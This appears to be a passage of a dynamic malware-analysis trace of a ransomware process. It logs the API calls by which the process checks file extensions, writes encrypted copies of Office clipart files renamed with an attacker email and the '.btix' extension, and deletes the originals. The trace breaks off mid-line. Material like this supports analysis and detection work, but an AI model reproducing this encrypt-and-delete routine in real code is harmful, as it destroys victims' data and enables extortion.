[0147.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.550] lstrlenW (lpString=".1cd") returned 4 [0147.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.550] lstrlenW (lpString=".jpg") returned 4 [0147.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.551] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.551] lstrlenW (lpString="FD02097_.WMF") returned 12 [0147.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.551] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1564) returned 1 [0147.551] CloseHandle (hObject=0x374) returned 1 [0147.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0147.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0x20 [0147.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.551] lstrlenW (lpString=".doc") returned 4 [0147.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.552] lstrlenW (lpString=".docx") returned 5 [0147.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.552] lstrlenW (lpString=".pdf") returned 4 [0147.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.552] lstrlenW (lpString=".xls") returned 4 [0147.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.552] lstrlenW (lpString=".xlsx") returned 5 [0147.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.552] lstrlenW (lpString=".ppt") returned 4 [0147.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.552] lstrlenW (lpString=".zip") returned 4 [0147.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.552] lstrlenW (lpString=".rar") returned 4 [0147.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.552] lstrlenW (lpString=".bz2") returned 4 [0147.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.552] lstrlenW (lpString=".7z") returned 3 [0147.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.552] lstrlenW (lpString=".dbf") returned 4 [0147.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.553] lstrlenW (lpString=".1cd") returned 4 [0147.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.553] lstrlenW (lpString=".jpg") returned 4 [0147.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.553] lstrlenW (lpString=".doc") returned 4 [0147.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString=".docx") returned 5 [0147.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.553] lstrlenW (lpString=".pdf") returned 4 [0147.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString=".xls") returned 4 [0147.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.553] lstrlenW (lpString=".xlsx") returned 5 [0147.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.553] lstrlenW (lpString=".ppt") returned 4 [0147.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.553] lstrlenW (lpString=".zip") returned 4 [0147.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.553] lstrlenW (lpString=".rar") returned 4 [0147.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.553] lstrlenW (lpString=".bz2") returned 4 [0147.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.554] lstrlenW (lpString=".7z") returned 3 [0147.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.554] lstrlenW (lpString=".dbf") returned 4 [0147.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.554] lstrlenW (lpString=".1cd") returned 4 [0147.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0147.554] lstrlenW (lpString=".jpg") returned 4 [0147.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.554] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.554] lstrlenW (lpString="FD02141_.WMF") returned 12 [0147.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.554] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2636) returned 1 [0147.554] CloseHandle (hObject=0x374) returned 1 [0147.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0147.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0x20 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.555] lstrlenW (lpString=".doc") returned 4 [0147.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString=".docx") returned 5 [0147.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.555] lstrlenW (lpString=".pdf") returned 4 [0147.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString=".xls") returned 4 [0147.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.555] lstrlenW (lpString=".xlsx") returned 5 [0147.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.555] lstrlenW (lpString=".ppt") returned 4 [0147.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.555] lstrlenW (lpString=".zip") returned 4 [0147.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.555] lstrlenW (lpString=".rar") returned 4 [0147.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString=".bz2") returned 4 [0147.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString=".7z") returned 3 [0147.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.555] lstrlenW (lpString=".dbf") returned 4 [0147.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.555] lstrlenW (lpString=".1cd") returned 4 [0147.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString=".jpg") returned 4 [0147.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString=".doc") returned 4 [0147.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString=".docx") returned 5 [0147.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.556] lstrlenW (lpString=".pdf") returned 4 [0147.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString=".xls") returned 4 [0147.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.556] lstrlenW (lpString=".xlsx") returned 5 [0147.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.556] lstrlenW (lpString=".ppt") returned 4 [0147.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString=".zip") returned 4 [0147.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.556] lstrlenW (lpString=".rar") returned 4 [0147.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString=".bz2") returned 4 [0147.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString=".7z") returned 3 [0147.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString=".dbf") returned 4 [0147.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString=".1cd") returned 4 [0147.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0147.556] lstrlenW (lpString=".jpg") returned 4 [0147.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.557] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.557] lstrlenW (lpString="FD02153_.WMF") returned 12 [0147.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.557] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5392) returned 1 [0147.557] CloseHandle (hObject=0x374) returned 1 [0147.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0147.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.557] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.557] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.558] GetLastError () returned 0x0 [0147.558] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1510, lpOverlapped=0x0) returned 1 [0147.565] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1520, lpOverlapped=0x0) returned 1 [0147.566] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.566] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0147.566] SetEndOfFile (hFile=0x378) returned 1 [0147.566] CloseHandle (hObject=0x378) returned 1 [0147.566] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.566] SetEndOfFile (hFile=0x374) returned 1 [0147.567] CloseHandle (hObject=0x374) returned 1 [0147.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0147.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.567] lstrlenW (lpString=".doc") returned 4 [0147.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.567] lstrlenW (lpString=".docx") returned 5 [0147.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.567] lstrlenW (lpString=".pdf") returned 4 [0147.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString=".xls") returned 4 [0147.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.568] lstrlenW (lpString=".xlsx") returned 5 [0147.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.568] lstrlenW (lpString=".ppt") returned 4 [0147.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.568] lstrlenW (lpString=".zip") returned 4 [0147.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.568] lstrlenW (lpString=".rar") returned 4 [0147.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString=".bz2") returned 4 [0147.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString=".7z") returned 3 [0147.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.568] lstrlenW (lpString=".dbf") returned 4 [0147.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.568] lstrlenW (lpString=".1cd") returned 4 [0147.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.568] lstrlenW (lpString=".jpg") returned 4 [0147.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.568] lstrlenW (lpString=".doc") returned 4 [0147.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.568] lstrlenW (lpString=".docx") returned 5 [0147.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.569] lstrlenW (lpString=".pdf") returned 4 [0147.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.569] lstrlenW (lpString=".xls") returned 4 [0147.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.569] lstrlenW (lpString=".xlsx") returned 5 [0147.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.569] lstrlenW (lpString=".ppt") returned 4 [0147.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.569] lstrlenW (lpString=".zip") returned 4 [0147.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.569] lstrlenW (lpString=".rar") returned 4 [0147.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.569] lstrlenW (lpString=".bz2") returned 4 [0147.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.569] lstrlenW (lpString=".7z") returned 3 [0147.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.569] lstrlenW (lpString=".dbf") returned 4 [0147.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.569] lstrlenW (lpString=".1cd") returned 4 [0147.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0147.569] lstrlenW (lpString=".jpg") returned 4 [0147.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.569] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.569] lstrlenW (lpString="FD02158_.WMF") returned 12 [0147.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.570] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1648) returned 1 [0147.570] CloseHandle (hObject=0x374) returned 1 [0147.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0147.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.570] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.570] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.570] GetLastError () returned 0x0 [0147.570] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x670, lpOverlapped=0x0) returned 1 [0147.833] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x680, lpOverlapped=0x0) returned 1 [0147.834] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.834] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0147.834] SetEndOfFile (hFile=0x378) returned 1 [0147.834] CloseHandle (hObject=0x378) returned 1 [0147.835] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.835] SetEndOfFile (hFile=0x374) returned 1 [0147.835] CloseHandle (hObject=0x374) returned 1 [0147.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.836] lstrlenW (lpString=".doc") returned 4 [0147.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.836] lstrlenW (lpString=".docx") returned 5 [0147.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.836] lstrlenW (lpString=".pdf") returned 4 [0147.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.836] lstrlenW (lpString=".xls") returned 4 [0147.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.836] lstrlenW (lpString=".xlsx") returned 5 [0147.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.836] lstrlenW (lpString=".ppt") returned 4 [0147.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.836] lstrlenW (lpString=".zip") returned 4 [0147.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.836] lstrlenW (lpString=".rar") returned 4 [0147.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.836] lstrlenW (lpString=".bz2") returned 4 [0147.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.836] lstrlenW (lpString=".7z") returned 3 [0147.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0147.836] lstrlenW (lpString=".dbf") returned 4 [0147.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft 